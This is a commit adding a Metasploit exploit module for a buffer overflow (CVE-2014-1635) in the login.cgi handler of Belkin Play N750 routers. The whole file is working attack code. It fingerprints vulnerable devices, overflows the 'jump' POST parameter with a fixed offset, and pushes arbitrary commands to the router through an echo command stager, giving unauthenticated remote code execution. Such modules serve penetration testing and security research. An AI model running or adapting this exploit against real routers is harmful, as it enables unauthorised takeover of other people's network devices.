Land rapid7#4923, @m-1-k-3's exploit for overflow on belkin routers

Author: jvazquez-r7

modules/exploits/linux/http/belkin_login_bof.rb

@@ -0,0 +1,116 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = NormalRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::CmdStager
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Belkin Play N750 login.cgi Buffer Overflow',
+      'Description'    => %q{
+        This module exploits a remote buffer overflow vulnerability on Belkin Play N750 DB
+        Wireless Dual-Band N+ Router N750 routers. The vulnerability exists in the handling
+        of HTTP queries with long 'jump' parameters addressed to the /login.cgi URL, allowing
+        remote unauthenticated attackers to execute arbitrary code. This module was tested in
+        an emulated environment, using the version 1.10.16.m of the firmwarey.
+      },
+      'Author'         =>
+        [
+          'Marco Vaz <mv[at]integrity.pt>', # Vulnerability discovery and msf module (telnetd)
+          'Michael Messner <devnull[at]s3cur1ty.de>', # msf module with echo stager
+        ],
+      'License'        => MSF_LICENSE,
+      'Platform'       => ['linux'],
+      'Arch'           => ARCH_MIPSLE,
+      'References'     =>
+        [
+          ['CVE', '2014-1635'],
+          ['EDB', '35184'],
+          ['BID', '70977'],
+          ['OSVDB', '114345'],
+          ['URL', 'https://labs.integrity.pt/articles/from-0-day-to-exploit-buffer-overflow-in-belkin-n750-cve-2014-1635/'],
+          ['URL', 'http://www.belkin.com/us/support-article?articleNum=4831']
+        ],
+      'Targets'        =>
+        [
+          [ 'Belkin Play N750 DB Wireless Dual-Band N+ Router, F9K1103,  firmware 1.10.16.m',
+            {
+              'Offset' => 1379,
+            }
+          ]
+        ],
+      'DefaultOptions' =>
+        {
+          'RPORT' => 8080
+        },
+      'DisclosureDate' => 'May 09 2014',
+      'DefaultTarget'  => 0))
+      deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
+  end
+
+  def check
+    begin
+      res = send_request_cgi({
+        'method' => 'GET',
+        'uri' => '/'
+      })
+
+      if res &&
+        [200, 301, 302].include?(res.code) &&
+        res.headers['Server'] &&
+        res.headers['Server'] =~ /minhttpd/ &&
+        res.body =~ /u_errpaswd/
+
+        return Exploit::CheckCode::Detected
+      end
+    rescue ::Rex::ConnectionError
+      return Exploit::CheckCode::Unknown
+    end
+
+    Exploit::CheckCode::Unknown
+  end
+
+  def exploit
+    print_status("#{peer} - Accessing the vulnerable URL...")
+
+    unless check == Exploit::CheckCode::Detected
+      fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
+    end
+
+    print_status("#{peer} - Exploiting...")
+    execute_cmdstager(
+      :flavor  => :echo,
+      :linemax => 200
+    )
+  end
+
+  def prepare_shellcode(cmd)
+    shellcode = rand_text_alpha_upper(target['Offset'])
+    shellcode << 'e' << cmd
+    shellcode << "\n\n"
+  end
+
+  def execute_command(cmd, opts)
+    shellcode = prepare_shellcode(cmd)
+    begin
+      res = send_request_cgi({
+        'method'    => 'POST',
+        'uri'       => '/login.cgi',
+        'vars_post' => {
+          'GO'   => '',
+          'jump' => shellcode,
+        }
+      })
+      return res
+    rescue ::Rex::ConnectionError
+      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
+    end
+  end
+end